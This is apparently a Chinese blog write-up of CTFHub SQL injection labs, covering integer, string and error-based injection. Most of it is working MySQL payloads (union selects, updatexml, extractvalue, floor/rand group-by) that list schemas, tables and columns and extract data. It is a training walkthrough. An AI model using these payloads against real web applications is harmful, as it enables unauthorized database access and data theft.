CTFHub(web SQL注入)

发布于:2024-04-19 ⋅ 阅读:(35) ⋅ 点赞:(0)

CTFHub技能树 Web-SQL注入 详解_666c6167-CSDN博客

Ctfhub - web -- SQL注入_ctfhub sql注入-CSDN博客

整数型注入

方法一

根据提示输入1,

闭合方式就是 1 ,整数型

存在两列,这里已经给出了字段,不需要再order by了

爆出数据库名和版本。

-1 union select version(),database()

有information_schema,发现是高版本

查库名

-1 union select 1, group_concat(table_name) from information_schema.tables where table_schema='sqli'

查flag下的字段名

-1 union select 1, group_concat(column_name) from  information_schema.columns where table_schema='sqli' and table_name='flag'#

拿数据

-1 union select 1, group_concat(flag) from flag


方法二

ctfhub技能树web--sql注入_ctfhub技能树报错注入-CSDN博客

1.判断注入点

用1 and 1=1和1 and 1=2进行测试

SELECT * FROM uers WHERE id=1 and 1=1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0;

页面回显不一样,则证明该注入点存在sql injection漏洞

2.判断列数

使用order by语句进行测试:1 order by 1、1 order by 2等,直到报错为止,报错的前一个数,为字段数。

判断列数的原因:
要使用联合查询注入获取数据库的敏感数据库,前提是两个结果集合的列数相同,所以要判断...?id=1这个语句在数据库中返回几列,也就是SELECT * FROM uers WHERE id=1 and 1=2 LIMIT 1,0这个语句的数据结果集有几列,然后才可以用union进行联合查询

SELECT * FROM uers WHERE id=1 order by 1 LIMIT 1,0;

SELECT * FROM uers WHERE id=1 order by 2 LIMIT 1,0;

以下为构造poc(轮子)过程
注意:要让union前一个语句不成立才能让union后的select语句的结果在前端显示出来

3.判断哪一列是报错点

(哪一列会在前端显示的数据)

输入1 and 1=2 union select 1,2 (或者-1 union select 1,2)

扩展:
(1)可以用以下数据库函数获取相应的信息
* user() 当前用户名
* database() 当前数据库明
* version() 当前版本
(2)可以用concat()或concat_ws()或group_concat()—[见数据库连接语句]----使得在sql注入时快速获得数据库的相关信息

4.从当前数据库(默认)获取当前数据库名、用户名等信息

数据库

1 and 1=2 union select 1,concat-ws('>',database(),version(),user())

5.从元数据库查出当前数据库的所有表名

1 and 1=2 union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()

6.从元数据库查出当前数据库下的某个表下的所有列名

1 and 1=2 union select 1,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='flag'

7.从当前数据库下的某个表中的查某一列的信息

1 and 1=1 union select 1,concat_ws('>',flag) from flag

字符型注入

CTFHub (web-SQL-字符型注入)_ctfhub字符型-CSDN博客


判断注入类型

根据提示,输入数字1

返回可以看到‘1’被双引号包围,这里可以借助注释符#或- -空格或/**/

使用#将后面的单引号注释掉

1'#

判断列数

1' order by 1 , 2 # 

1' order by 1 , 2 , 3 #

在第三列发现无法显示,说明只有两列

判断注入点

显示位,判断显示的信息是第几列的信息

-1' union select 1 , 2#

1为ID,2为Data,(Data也就是我们想要查询的数据)

查询数据库信息

1.查询用户

-1' union select 1 , user() #

2.查询数据库版本

-1' union select 1 , version() #

3.查询数据库名称

-1' union select 1 , database() #
  

爆库

查询所有数据库名称

1.使用limit一条一条查询数据库名称

第四条

-1' union select 1 , (select schema_name from information_schema.schemata limit 3,1) #

第五条

-1' union select 1 , (select schema_name from information_schema.schemata limit 4,1) #

查询第五条时发现已经没有数据,说明一共有四个数据库名

2.使用group_concat()一次性查询全部数据库名称

-1' union select 1,group_concat(schema_name) from information_schema.schemata #

爆表

查询数据库中的表名

1.用limit一条条爆出表名

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 0,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 1,1) #

-1' union select 1 , (select table_name from information_schema.tables where table_schema='sqli' limit 2,1) #

2.使用group_concat()一次性爆出所有表名

(1)

-1' union select table_schema, group_concat(table_name) from information_schema.tables where table_schema='sqli' #

(2)

-1' union select 1,group_concat(table_name) from information_schema.tables where table_schema=database()#

爆字段名

查询指定数据库中指定表的字段名

1.用limit一列一列爆出字段名

(1)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 0,1) #

(2)

-1' union select 1 , (select column_name from information_schema.columns where table_schema='sqli' and table_name='flag' limit 1,1) #

2.使用group_concat()一次性爆出所有字段名

-1' union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='flag'#

爆内容

查询指定数据库中指定表的字段名的内容

1.用limit一列一列爆出字段名中的内容

-1' union select 1,(select flag from flag) #

2.使用group_concat()一次性爆出所有字段名中的内容

-1' union select 1 , group_concat(flag) from flag #

报错注入

CTFHUB——SQL 报错注入三种方法全解_ctfhub报错注入-CSDN博客

CTFHUB-SQL注入-报错注入-CSDN博客

方法一

selcet

输入1

返回查询正确

输入1'

报错,进行报错输入

使用函数是updatemxl(1,2,3)

MySQL提供了一个 updatexml() 函数,当第二个参数包含特殊符号时会报错,并将第二个参数的内容显示在报错信息中。,特殊符号我们选择 ~ 0x7e

查询库名

1 and updatexml(1,concat(0x7e,database()),3)

发现库名 sqli,对表名进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema='sqli')),3)

爆破出表名,对字段进行爆破

1 and updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_schema='sqli'and table_name='flag')),3)

得到字段flag,进行查询

1 and updatexml(1,concat(0x7e,(select group_concat(flag)from sqli.flag)),3)

得到flag

方法二

利用extractvalue来xpath报错

1 and (select extractvalue(1, concat(0x7e, (select database()))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(table_name) from information_schema.tables where table_schema= 'sqli'))))

1 and (select extractvalue(1, concat(0x7e, (select group_concat(column_name) from information_schema.columns where table_name= 'flag'))))

1 and (select extractvalue(1, concat(0x7e, (select flag from flag))))

得到后的flag缺少了一个“}”

补全后即可提交

方法三

利用floor来group by主键重复报错

1 union select count(*), concat((select database()), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select table_name from information_schema.tables where table_schema='sqli' limit 1,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select column_name from information_schema.columns where table_name='flag' limit 0,1), floor(rand(0)*2)) x from news group by x

1 union select count(*), concat((select flag from flag limit 0,1), floor(rand(0)*2)) x from news group by x

得到flag

得到后的flag缺少了一个“}”

补全后即可提交